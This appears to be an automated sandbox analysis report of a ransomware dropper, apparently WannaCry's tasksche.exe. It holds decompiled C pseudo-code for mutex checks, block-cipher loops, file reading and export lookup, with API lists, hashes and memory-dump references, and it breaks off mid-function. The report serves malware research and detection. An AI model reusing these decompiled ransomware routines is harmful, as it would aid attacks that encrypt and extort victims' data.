                    Similarity
                    • API ID: AttributesCreateDirectoryFile$memcpystrcatstrcpy
                    • String ID:
                    • API String ID: 2935503933-0
                    • Opcode ID: 0838382564994867704b48d197d9141456e9ef10b941a736ac2fad3accdc9566
                    • Instruction ID: 50ba023859918e707bf45bf33fbe73a6a33da9a39eec2eddc6b78618a8cc3524
                    • Opcode Fuzzy Hash: 0838382564994867704b48d197d9141456e9ef10b941a736ac2fad3accdc9566
                    • Instruction Fuzzy Hash: 1A112B72C0821456CB305B749D88FD7776C9B11320F1403BBE595B32C2DA78BD898669
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00401EFF Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 35sleepCOMMON
                    Download Yara Rule
                    C-Code - Quality: 100%
                    			E00401EFF(intOrPtr _a4) {
				char _v104;
				void* _t9;
				void* _t11;
				void* _t12;

				sprintf( &_v104, "%s%d", "Global\\MsWinZonesCacheCounterMutexA", 0);
				_t12 = 0;
				if(_a4 <= 0) {
					L3:
					return 0;
				} else {
					goto L1;
				}
				while(1) {
					L1:
					_t9 = OpenMutexA(0x100000, 1,  &_v104);
					if(_t9 != 0) {
						break;
					}
					Sleep(0x3e8);
					_t12 = _t12 + 1;
					if(_t12 < _a4) {
						continue;
					}
					goto L3;
				}
				CloseHandle(_t9);
				_t11 = 1;
				return _t11;
			}







                    0x00401f16
                    0x00401f1c
                    0x00401f24
                    0x00401f4c
                    0x00000000
                    0x00000000
                    0x00000000
                    0x00000000
                    0x00401f26
                    0x00401f26
                    0x00401f31
                    0x00401f39
                    0x00000000
                    0x00000000
                    0x00401f40
                    0x00401f46
                    0x00401f4a
                    0x00000000
                    0x00000000
                    0x00000000
                    0x00401f4a
                    0x00401f52
                    0x00401f5a
                    0x00000000

                    APIs
                    • sprintf.MSVCRT(?,%s%d,Global\MsWinZonesCacheCounterMutexA,00000000), ref: 00401F16
                    • OpenMutexA.KERNEL32(00100000,00000001,?), ref: 00401F31
                    • Sleep.KERNEL32(000003E8), ref: 00401F40
                    • CloseHandle.KERNEL32(00000000), ref: 00401F52
                    Strings
                    Memory Dump Source
                    • Source File: 00000016.00000002.538456355.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000016.00000002.538442310.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000016.00000002.538487624.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000016.00000002.538519387.000000000040E000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000016.00000002.538530695.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_22_2_400000_tasksche.jbxd
                    Yara matches
                    Similarity
                    • API ID: CloseHandleMutexOpenSleepsprintf
                    • String ID: %s%d$Global\MsWinZonesCacheCounterMutexA
                    • API String ID: 2780352083-2959021817
                    • Opcode ID: d195781efe0b704a0c45d33d3827b966fde6c598e7eccee7cfdb972a19423a06
                    • Instruction ID: f4a3b48a0bafa41ae68b0177be176e29d76f271436d11399ade0a1af8f7a19ee
                    • Opcode Fuzzy Hash: d195781efe0b704a0c45d33d3827b966fde6c598e7eccee7cfdb972a19423a06
                    • Instruction Fuzzy Hash: 92F0E931A40305BBDB20EBA49E4AB9B7758AB04B40F104036F945FA0D2DBB8D54586D8
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00403A77 Relevance: 9.1, APIs: 6, Instructions: 123COMMON
                    Download Yara Rule
                    C-Code - Quality: 59%
                    			E00403A77(void* __ecx, void* _a4, signed int _a8, signed int _a12, intOrPtr _a16) {
				void* _v12;
				char _v16;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v48;
				signed int _t121;
				int _t124;
				intOrPtr* _t126;
				intOrPtr _t127;
				int _t131;
				intOrPtr* _t133;
				intOrPtr _t135;
				intOrPtr _t137;
				signed int _t139;
				signed int _t140;
				signed int _t143;
				signed int _t150;
				intOrPtr _t160;
				int _t161;
				int _t163;
				signed int _t164;
				signed int _t165;
				intOrPtr _t168;
				void* _t169;
				signed int _t170;
				signed int _t172;
				signed int _t175;
				signed int _t178;
				intOrPtr _t194;
				void* _t195;
				void* _t196;
				void* _t197;
				intOrPtr _t198;
				void* _t201;

				_t197 = __ecx;
				if( *((intOrPtr*)(__ecx + 4)) == 0) {
					__imp__??0exception@@QAE@ABQBD@Z(0x40f570);
					_push(0x40d570);
					_push( &_v16);
					L0040776E();
				}
				_t121 = _a12;
				if(_t121 == 0) {
					L15:
					__imp__??0exception@@QAE@ABQBD@Z(0x40f574);
					_push(0x40d570);
					_push( &_v16);
					L0040776E();
					_push( &_v16);
					_push(0);
					_push(_t197);
					_t198 = _v36;
					_t194 = _v32;
					_t168 =  *((intOrPtr*)(_t198 + 0x30));
					_t160 =  *((intOrPtr*)(_t198 + 0x34));
					_t71 = _t194 + 0xc; // 0x40d568
					_v48 =  *_t71;
					_v32 = _t168;
					if(_t168 > _t160) {
						_t160 =  *((intOrPtr*)(_t198 + 0x2c));
					}
					_t75 = _t194 + 0x10; // 0x19930520
					_t124 =  *_t75;
					_t161 = _t160 - _t168;
					if(_t161 > _t124) {
						_t161 = _t124;
					}
					if(_t161 != 0 && _a8 == 0xfffffffb) {
						_a8 = _a8 & 0x00000000;
					}
					 *((intOrPtr*)(_t194 + 0x14)) =  *((intOrPtr*)(_t194 + 0x14)) + _t161;
					 *(_t194 + 0x10) = _t124 - _t161;
					_t126 =  *((intOrPtr*)(_t198 + 0x38));
					if(_t126 != 0) {
						_t137 =  *_t126( *((intOrPtr*)(_t198 + 0x3c)), _t168, _t161);
						 *((intOrPtr*)(_t198 + 0x3c)) = _t137;
						_t201 = _t201 + 0xc;
						 *((intOrPtr*)(_t194 + 0x30)) = _t137;
					}
					if(_t161 != 0) {
						memcpy(_v12, _a4, _t161);
						_v12 = _v12 + _t161;
						_t201 = _t201 + 0xc;
						_a4 = _a4 + _t161;
					}
					_t127 =  *((intOrPtr*)(_t198 + 0x2c));
					if(_a4 == _t127) {
						_t169 =  *((intOrPtr*)(_t198 + 0x28));
						_a4 = _t169;
						if( *((intOrPtr*)(_t198 + 0x34)) == _t127) {
							 *((intOrPtr*)(_t198 + 0x34)) = _t169;
						}
						_t99 = _t194 + 0x10; // 0x19930520
						_t131 =  *_t99;
						_t163 =  *((intOrPtr*)(_t198 + 0x34)) - _t169;
						if(_t163 > _t131) {
							_t163 = _t131;
						}
						if(_t163 != 0 && _a8 == 0xfffffffb) {
							_a8 = _a8 & 0x00000000;
						}
						 *((intOrPtr*)(_t194 + 0x14)) =  *((intOrPtr*)(_t194 + 0x14)) + _t163;
						 *(_t194 + 0x10) = _t131 - _t163;
						_t133 =  *((intOrPtr*)(_t198 + 0x38));
						if(_t133 != 0) {
							_t135 =  *_t133( *((intOrPtr*)(_t198 + 0x3c)), _t169, _t163);
							 *((intOrPtr*)(_t198 + 0x3c)) = _t135;
							_t201 = _t201 + 0xc;
							 *((intOrPtr*)(_t194 + 0x30)) = _t135;
						}
						if(_t163 != 0) {
							memcpy(_v12, _a4, _t163);
							_v12 = _v12 + _t163;
							_a4 = _a4 + _t163;
						}
					}
					 *(_t194 + 0xc) = _v12;
					 *((intOrPtr*)(_t198 + 0x30)) = _a4;
					return _a8;
				} else {
					_t170 =  *(_t197 + 0x3cc);
					if(_t121 % _t170 != 0) {
						goto L15;
					} else {
						if(_a16 != 1) {
							_t195 = _a4;
							_t139 = _a12;
							_a16 = 0;
							_t164 = _a8;
							if(_a16 != 2) {
								_t140 = _t139 / _t170;
								if(_t140 > 0) {
									do {
										E00403797(_t197, _t195, _t164);
										_t172 =  *(_t197 + 0x3cc);
										_t195 = _t195 + _t172;
										_t143 = _a12 / _t172;
										_t164 = _t164 + _t172;
										_a16 = _a16 + 1;
									} while (_a16 < _t143);
									return _t143;
								}
							} else {
								_t140 = _t139 / _t170;
								if(_t140 > 0) {
									do {
										E0040350F(_t197, _t197 + 0x3f0, _t164);
										E00403A28(_t197, _t164, _t195);
										memcpy(_t197 + 0x3f0, _t195,  *(_t197 + 0x3cc));
										_t175 =  *(_t197 + 0x3cc);
										_t201 = _t201 + 0xc;
										_t150 = _a12 / _t175;
										_t195 = _t195 + _t175;
										_t164 = _t164 + _t175;
										_a16 = _a16 + 1;
									} while (_a16 < _t150);
									return _t150;
								}
							}
						} else {
							_t196 = _a4;
							_t140 = _a12 / _t170;
							_a16 = 0;
							_t165 = _a8;
							if(_t140 > 0) {
								do {
									E00403797(_t197, _t196, _t165);
									E00403A28(_t197, _t165, _t197 + 0x3f0);
									memcpy(_t197 + 0x3f0, _t196,  *(_t197 + 0x3cc));
									_t178 =  *(_t197 + 0x3cc);
									_t201 = _t201 + 0xc;
									_t140 = _a12 / _t178;
									_t196 = _t196 + _t178;
									_t165 = _t165 + _t178;
									_a16 = _a16 + 1;
								} while (_a16 < _t140);
							}
						}
						return _t140;
					}
				}
			}





































                    0x00403a7f
                    0x00403a87
                    0x00403a91
                    0x00403a9a
                    0x00403a9f
                    0x00403aa0
                    0x00403aa0
                    0x00403aa5
                    0x00403aaa
                    0x00403bba
                    0x00403bc2
                    0x00403bcb
                    0x00403bd0
                    0x00403bd1
                    0x00403bd9
                    0x00403bda
                    0x00403bdb
                    0x00403bdc
                    0x00403be0
                    0x00403be3
                    0x00403be6
                    0x00403be9
                    0x00403bee
                    0x00403bf1
                    0x00403bf4
                    0x00403bf6
                    0x00403bf6
                    0x00403bf9
                    0x00403bf9
                    0x00403bfc
                    0x00403c00
                    0x00403c02
                    0x00403c02
                    0x00403c06
                    0x00403c0e
                    0x00403c0e
                    0x00403c12
                    0x00403c17
                    0x00403c1a
                    0x00403c1f
                    0x00403c26
                    0x00403c28
                    0x00403c2b
                    0x00403c2e
                    0x00403c2e
                    0x00403c33
                    0x00403c3c
                    0x00403c41
                    0x00403c44
                    0x00403c47
                    0x00403c47
                    0x00403c4a
                    0x00403c50
                    0x00403c52
                    0x00403c58
                    0x00403c5b
                    0x00403c5d
                    0x00403c5d
                    0x00403c63
                    0x00403c63
                    0x00403c66
                    0x00403c6a
                    0x00403c6c
                    0x00403c6c
                    0x00403c70
                    0x00403c78
                    0x00403c78
                    0x00403c7c
                    0x00403c81
                    0x00403c84
                    0x00403c89
                    0x00403c90
                    0x00403c92
                    0x00403c95
                    0x00403c98
                    0x00403c98
                    0x00403c9d
                    0x00403ca6
                    0x00403cab
                    0x00403cb1
                    0x00403cb1
                    0x00403c9d
                    0x00403cb7
                    0x00403cbd
                    0x00403cc7
                    0x00403ab0
                    0x00403ab0
                    0x00403abc
                    0x00000000
                    0x00403ac2
                    0x00403ac6
                    0x00403b2c
                    0x00403b2f
                    0x00403b32
                    0x00403b35
                    0x00403b38
                    0x00403b8d
                    0x00403b91
                    0x00403b93
                    0x00403b97
                    0x00403b9c
                    0x00403ba7
                    0x00403ba9
                    0x00403bab
                    0x00403bad
                    0x00403bb0
                    0x00000000
                    0x00403b93
                    0x00403b3a
                    0x00403b3c
                    0x00403b40
                    0x00403b42
                    0x00403b4c
                    0x00403b55
                    0x00403b68
                    0x00403b6d
                    0x00403b78
                    0x00403b7b
                    0x00403b7d
                    0x00403b7f
                    0x00403b81
                    0x00403b84
                    0x00000000
                    0x00403b42
                    0x00403b40
                    0x00403ac8
                    0x00403acb
                    0x00403ace
                    0x00403ad0
                    0x00403ad3
                    0x00403ad8
                    0x00403ada
                    0x00403ade
                    0x00403aed
                    0x00403b00
                    0x00403b05
                    0x00403b10
                    0x00403b13
                    0x00403b15
                    0x00403b17
                    0x00403b19
                    0x00403b1c
                    0x00403ada
                    0x00403ad8
                    0x00403b25
                    0x00403b25
                    0x00403abc

                    APIs
                    • ??0exception@@QAE@ABQBD@Z.MSVCRT(0040F570,?,?,?,?,?,00000001), ref: 00403A91
                    • _CxxThrowException.MSVCRT(?,0040D570,?,?,?,?,00000001), ref: 00403AA0
                    • memcpy.MSVCRT(?,?,?,?,?,?,?,?), ref: 00403B00
                    • memcpy.MSVCRT(?,?,?,?,?,?,?,?), ref: 00403B68
                    • ??0exception@@QAE@ABQBD@Z.MSVCRT(0040F574,?,?,?,?,?,00000001), ref: 00403BC2
                    • _CxxThrowException.MSVCRT(?,0040D570,?,?,?,?,00000001), ref: 00403BD1
                    Memory Dump Source
                    • Source File: 00000016.00000002.538456355.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000016.00000002.538442310.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000016.00000002.538487624.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000016.00000002.538519387.000000000040E000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000016.00000002.538530695.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_22_2_400000_tasksche.jbxd
                    Yara matches
                    Similarity
                    • API ID: ??0exception@@ExceptionThrowmemcpy
                    • String ID:
                    • API String ID: 2382887404-0
                    • Opcode ID: 8f0cb0103d3614fdc28d84a5f541c19cbd02f6e6265a1098423f4cf3f0921468
                    • Instruction ID: 9805a50700f74263afb1320d00d27f30e93ca80038ec105a2d2f515762341bf2
                    • Opcode Fuzzy Hash: 8f0cb0103d3614fdc28d84a5f541c19cbd02f6e6265a1098423f4cf3f0921468
                    • Instruction Fuzzy Hash: 8541C870B40206ABDB14DE65DD81D9B77BEEB84309B00443FF815B3281D778AB15C759
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00401000 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 38fileCOMMON
                    Download Yara Rule
                    APIs
                    • fopen.MSVCRT(c.wnry,0040E018), ref: 0040101B
                    • fread.MSVCRT(?,0000030C,00000001,00000000), ref: 0040103F
                    • fwrite.MSVCRT(?,0000030C,00000001,00000000), ref: 00401047
                    • fclose.MSVCRT(00000000), ref: 00401058
                    Strings
                    Memory Dump Source
                    • Source File: 00000016.00000002.538456355.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000016.00000002.538442310.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000016.00000002.538487624.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000016.00000002.538519387.000000000040E000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000016.00000002.538530695.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_22_2_400000_tasksche.jbxd
                    Yara matches
                    Similarity
                    • API ID: fclosefopenfreadfwrite
                    • String ID: c.wnry
                    • API String ID: 4000964834-3240288721
                    • Opcode ID: 83356dae967f3845aa64eafaf8b7e6f79fd4dc7784855bee587f11601882f661
                    • Instruction ID: 4fc4ee2583eead98f325da0eb4a8e2a7a7827d82b7f69226d67b1691b23a23d5
                    • Opcode Fuzzy Hash: 83356dae967f3845aa64eafaf8b7e6f79fd4dc7784855bee587f11601882f661
                    • Instruction Fuzzy Hash: 0CF05931204260ABCA301F656D4AA277B10DBC4F61F10083FF1C1F40E2CABD44C296BE
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 004018F9 Relevance: 7.6, APIs: 5, Instructions: 79filememoryCOMMON
                    Download Yara Rule
                    C-Code - Quality: 24%
                    			E004018F9(intOrPtr _a4, intOrPtr _a8, CHAR* _a12) {
				struct _OVERLAPPED* _v8;
				char _v20;
				long _v32;
				struct _OVERLAPPED* _v36;
				long _v40;
				signed int _v44;
				void* _t18;
				void* _t28;
				long _t34;
				intOrPtr _t38;

				_push(0xffffffff);
				_push(0x4081f0);
				_push(0x4076f4);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t38;
				_v44 = _v44 | 0xffffffff;
				_v32 = 0;
				_v36 = 0;
				_v8 = 0;
				_t18 = CreateFileA(_a12, 0x80000000, 1, 0, 3, 0, 0);
				_v44 = _t18;
				if(_t18 != 0xffffffff) {
					_t34 = GetFileSize(_t18, 0);
					_v40 = _t34;
					if(_t34 != 0xffffffff && _t34 <= 0x19000) {
						_t28 = GlobalAlloc(0, _t34);
						_v36 = _t28;
						if(_t28 != 0 && ReadFile(_v44, _t28, _t34,  &_v32, 0) != 0) {
							_push(_a8);
							_push(0);
							_push(0);
							_push(_v32);
							_push(_t28);
							_push(_a4);
							if( *0x40f898() != 0) {
								_push(1);
								_pop(0);
							}
						}
					}
				}
				_push(0xffffffff);
				_push( &_v20);
				L004076FA();
				 *[fs:0x0] = _v20;
				return 0;
			}













                    0x004018fc
                    0x004018fe
                    0x00401903
                    0x0040190e
                    0x0040190f
                    0x0040191c
                    0x00401922
                    0x00401925
                    0x00401928
                    0x0040193a
                    0x00401940
                    0x00401946
                    0x00401950
                    0x00401952
                    0x00401958
                    0x0040196a
                    0x0040196c
                    0x00401971
                    0x00401987
                    0x0040198a
                    0x0040198b
                    0x0040198c
                    0x0040198f
                    0x00401990
                    0x0040199b
                    0x0040199d
                    0x0040199f
                    0x0040199f
                    0x0040199b
                    0x00401971
                    0x00401958
                    0x004019a0
                    0x004019a5
                    0x004019a6
                    0x004019d5
                    0x004019e0

                    APIs
                    • CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,?,?,?,?,?,?,00401448,?), ref: 0040193A
                    • GetFileSize.KERNEL32(00000000,00000000,?,?,?,?,?,?,00401448,?), ref: 0040194A
                    • GlobalAlloc.KERNEL32(00000000,00000000,?,?,?,?,?,?,00401448,?), ref: 00401964
                    • ReadFile.KERNEL32(000000FF,00000000,00000000,?,00000000,?,?,?,?,?,?,00401448,?), ref: 0040197D
                    • _local_unwind2.MSVCRT(?,000000FF,?,?,?,?,?,?,00401448,?), ref: 004019A6
                    Memory Dump Source
                    • Source File: 00000016.00000002.538456355.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000016.00000002.538442310.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000016.00000002.538487624.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000016.00000002.538519387.000000000040E000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000016.00000002.538530695.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_22_2_400000_tasksche.jbxd
                    Yara matches
                    Similarity
                    • API ID: File$AllocCreateGlobalReadSize_local_unwind2
                    • String ID:
                    • API String ID: 2811923685-0
                    • Opcode ID: 232dc3714e51fefb2f6fb0f5b065eea7eb2b0009f41f45388587d49ab84ddf28
                    • Instruction ID: fb063a64e2dc49fc25d010f75d45645ced701e765f932c996de96a45c5b9f027
                    • Opcode Fuzzy Hash: 232dc3714e51fefb2f6fb0f5b065eea7eb2b0009f41f45388587d49ab84ddf28
                    • Instruction Fuzzy Hash: B62160B1901624AFCB209B99CD48FDF7E78EB097B0F54022AF525B22E0D7785805C6AC
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00405BAE Relevance: 6.1, APIs: 4, Instructions: 93fileCOMMON
                    Download Yara Rule
                    C-Code - Quality: 97%
                    			E00405BAE(CHAR* _a4, intOrPtr _a8, long _a12, void* _a16) {
				char _v5;
				char _v6;
				long _t30;
				char _t32;
				long _t34;
				void* _t46;
				intOrPtr* _t49;
				long _t50;

				_t30 = _a12;
				if(_t30 == 1 || _t30 == 2 || _t30 == 3) {
					_t49 = _a16;
					_t46 = 0;
					_v6 = 0;
					 *_t49 = 0;
					_v5 = 0;
					if(_t30 == 1) {
						_t46 = _a4;
						_v5 = 0;
						L11:
						_t30 = SetFilePointer(_t46, 0, 0, 1);
						_v6 = _t30 != 0xffffffff;
						L12:
						_push(0x20);
						L00407700();
						_t50 = _t30;
						if(_a12 == 1 || _a12 == 2) {
							 *_t50 = 1;
							 *((char*)(_t50 + 0x10)) = _v5;
							_t32 = _v6;
							 *((char*)(_t50 + 1)) = _t32;
							 *(_t50 + 4) = _t46;
							 *((char*)(_t50 + 8)) = 0;
							 *((intOrPtr*)(_t50 + 0xc)) = 0;
							if(_t32 != 0) {
								 *((intOrPtr*)(_t50 + 0xc)) = SetFilePointer(_t46, 0, 0, 1);
							}
						} else {
							 *_t50 = 0;
							 *((intOrPtr*)(_t50 + 0x14)) = _a4;
							 *((char*)(_t50 + 1)) = 1;
							 *((char*)(_t50 + 0x10)) = 0;
							 *((intOrPtr*)(_t50 + 0x18)) = _a8;
							 *((intOrPtr*)(_t50 + 0x1c)) = 0;
							 *((intOrPtr*)(_t50 + 0xc)) = 0;
						}
						 *_a16 = 0;
						_t34 = _t50;
						goto L18;
					}
					if(_t30 != 2) {
						goto L12;
					}
					_t46 = CreateFileA(_a4, 0x80000000, 1, 0, 3, 0x80, 0);
					if(_t46 != 0xffffffff) {
						_v5 = 1;
						goto L11;
					}
					 *_t49 = 0x200;
					goto L8;
				} else {
					 *_a16 = 0x10000;
					L8:
					_t34 = 0;
					L18:
					return _t34;
				}
			}











                    0x00405bb2
                    0x00405bbb
                    0x00405bd2
                    0x00405bd7
                    0x00405bdc
                    0x00405bdf
                    0x00405be1
                    0x00405be4
                    0x00405c18
                    0x00405c1b
                    0x00405c24
                    0x00405c29
                    0x00405c32
                    0x00405c36
                    0x00405c36
                    0x00405c38
                    0x00405c42
                    0x00405c44
                    0x00405c6c
                    0x00405c6f
                    0x00405c72
                    0x00405c77
                    0x00405c7a
                    0x00405c7d
                    0x00405c80
                    0x00405c83
                    0x00405c90
                    0x00405c90
                    0x00405c4c
                    0x00405c4f
                    0x00405c51
                    0x00405c57
                    0x00405c5b
                    0x00405c5e
                    0x00405c61
                    0x00405c64
                    0x00405c64
                    0x00405c96
                    0x00405c98
                    0x00000000
                    0x00405c98
                    0x00405be9
                    0x00000000
                    0x00000000
                    0x00405c04
                    0x00405c09
                    0x00405c20
                    0x00000000
                    0x00405c20
                    0x00405c0b
                    0x00000000
                    0x00405bc7
                    0x00405bca
                    0x00405c11
                    0x00405c11
                    0x00405c9a
                    0x00405c9e
                    0x00405c9e

                    APIs
                    • CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000080,00000000,?,00000000,00000000,00000140,?,00406C12,00000000,00401DFE,00000001), ref: 00405BFE
                    • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001,?,00000000,00000000,00000140,?,00406C12,00000000,00401DFE,00000001,00000000,004074EA,00000000), ref: 00405C29
                    • ??2@YAPAXI@Z.MSVCRT(00000020,?,?,00000000,00000000,00000140,?,00406C12,00000000,00401DFE,00000001,00000000,004074EA,00000000,004020D5,?), ref: 00405C38
                    • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000001,?,?,00000000,00000000,00000140,?,00406C12,00000000,00401DFE,00000001,00000000,004074EA), ref: 00405C8A
                    Memory Dump Source
                    • Source File: 00000016.00000002.538456355.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000016.00000002.538442310.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000016.00000002.538487624.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000016.00000002.538519387.000000000040E000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000016.00000002.538530695.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_22_2_400000_tasksche.jbxd
                    Yara matches
                    Similarity
                    • API ID: File$Pointer$??2@Create
                    • String ID:
                    • API String ID: 1331958074-0
                    • Opcode ID: ff1e72f22e15843ade9ace39703012fff21b8a1e8b9c48cc3c9963cb15211f94
                    • Instruction ID: 771dcc1d5a31089dd4cc2aab62cbbe5a226dda330bf0289da8f54b52fc8588cb
                    • Opcode Fuzzy Hash: ff1e72f22e15843ade9ace39703012fff21b8a1e8b9c48cc3c9963cb15211f94
                    • Instruction Fuzzy Hash: 0831F231008784AFDB318F28888479BBBF4EF15350F18896EF491A7380C375AD85CB69
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00402924 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 73COMMON
                    Download Yara Rule
                    C-Code - Quality: 37%
                    			E00402924(intOrPtr* _a4, char _a8) {
				intOrPtr _v8;
				intOrPtr* _t26;
				intOrPtr* _t28;
				void* _t29;
				intOrPtr _t30;
				void* _t32;
				signed int _t33;
				signed int _t37;
				signed short* _t41;
				intOrPtr _t44;
				intOrPtr _t49;
				intOrPtr* _t55;
				intOrPtr _t58;
				void* _t59;

				_t26 = _a4;
				_t44 =  *((intOrPtr*)(_t26 + 4));
				_t28 =  *_t26 + 0x78;
				_v8 = _t44;
				if( *((intOrPtr*)(_t28 + 4)) == 0) {
					L11:
					SetLastError(0x7f);
					_t29 = 0;
				} else {
					_t58 =  *_t28;
					_t30 =  *((intOrPtr*)(_t58 + _t44 + 0x18));
					_t59 = _t58 + _t44;
					if(_t30 == 0 ||  *((intOrPtr*)(_t59 + 0x14)) == 0) {
						goto L11;
					} else {
						_t8 =  &_a8; // 0x402150
						if( *_t8 >> 0x10 != 0) {
							_t55 =  *((intOrPtr*)(_t59 + 0x20)) + _t44;
							_t41 =  *((intOrPtr*)(_t59 + 0x24)) + _t44;
							_a4 = 0;
							if(_t30 <= 0) {
								goto L11;
							} else {
								while(1) {
									_t32 =  *_t55 + _t44;
									_t15 =  &_a8; // 0x402150
									__imp___stricmp( *_t15, _t32);
									if(_t32 == 0) {
										break;
									}
									_a4 = _a4 + 1;
									_t55 = _t55 + 4;
									_t41 =  &(_t41[1]);
									if(_a4 <  *((intOrPtr*)(_t59 + 0x18))) {
										_t44 = _v8;
										continue;
									} else {
										goto L11;
									}
									goto L12;
								}
								_t33 =  *_t41 & 0x0000ffff;
								_t44 = _v8;
								goto L14;
							}
						} else {
							_t9 =  &_a8; // 0x402150
							_t37 =  *_t9 & 0x0000ffff;
							_t49 =  *((intOrPtr*)(_t59 + 0x10));
							if(_t37 < _t49) {
								goto L11;
							} else {
								_t33 = _t37 - _t49;
								L14:
								if(_t33 >  *((intOrPtr*)(_t59 + 0x14))) {
									goto L11;
								} else {
									_t29 =  *((intOrPtr*)( *((intOrPtr*)(_t59 + 0x1c)) + _t33 * 4 + _t44)) + _t44;
								}
							}
						}
					}
				}
				L12:
				return _t29;
			}

















                    0x00402928
                    0x0040292f
                    0x00402934
                    0x00402938
                    0x0040293e
                    0x004029a5
                    0x004029a7
                    0x004029ad
                    0x00402940
                    0x00402940
                    0x00402942
                    0x00402946
                    0x0040294a
                    0x00000000
                    0x00402951
                    0x00402951
                    0x0040295a
                    0x00402971
                    0x00402973
                    0x00402977
                    0x0040297a
                    0x00000000
                    0x0040297c
                    0x00402981
                    0x00402983
                    0x00402986
                    0x00402989
                    0x00402993
                    0x00000000
                    0x00000000
                    0x00402995
                    0x00402998
                    0x0040299f
                    0x004029a3
                    0x0040297e
                    0x00000000
                    0x00000000
                    0x00000000
                    0x00000000
                    0x00000000
                    0x004029a3
                    0x004029b4
                    0x004029b7
                    0x00000000
                    0x004029b7
                    0x0040295c
                    0x0040295c
                    0x0040295c
                    0x00402960
                    0x00402965
                    0x00000000
                    0x00402967
                    0x00402967
                    0x004029ba
                    0x004029bd
                    0x00000000
                    0x004029bf
                    0x004029c8
                    0x004029c8
                    0x004029bd
                    0x00402965
                    0x0040295a
                    0x0040294a
                    0x004029af
                    0x004029b3

                    APIs
                    • _stricmp.MSVCRT(P!@,?,?,0000DDB6,?,?,?,00402150,00000000,TaskStart), ref: 00402989
                    • SetLastError.KERNEL32(0000007F,?,0000DDB6,?,?,?,00402150,00000000,TaskStart), ref: 004029A7
                    Strings
                    Memory Dump Source
                    • Source File: 00000016.00000002.538456355.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000016.00000002.538442310.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000016.00000002.538487624.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000016.00000002.538519387.000000000040E000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000016.00000002.538530695.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_22_2_400000_tasksche.jbxd
                    Yara matches
                    Similarity
                    • API ID: ErrorLast_stricmp
                    • String ID: P!@
                    • API String ID: 1278613211-1774101457
                    • Opcode ID: 03c3627be8870cecb91afdd38bef801573c0f783d9791e09bb9b18ce57a97af9
                    • Instruction ID: aaf1e2d36ba78ebe43aa6e6aad127835d86855a49192f4e92224227a9dbc2408
                    • Opcode Fuzzy Hash: 03c3627be8870cecb91afdd38bef801573c0f783d9791e09bb9b18ce57a97af9
                    • Instruction Fuzzy Hash: 432180B1700605EFDB14CF19DA8486A73F6EF89310B29857AE846EB381D678ED41CB85
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00401DFE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59stringCOMMON
                    Download Yara Rule
                    C-Code - Quality: 89%
                    			E00401DFE(void* __eax) {
				int _t21;
				signed int _t27;
				signed int _t29;
				void* _t34;
				void* _t36;
				void* _t38;
				void* _t40;
				void* _t41;
				void* _t43;

				_t36 = __eax;
				_t41 = _t40 + 0xc;
				if(__eax != 0) {
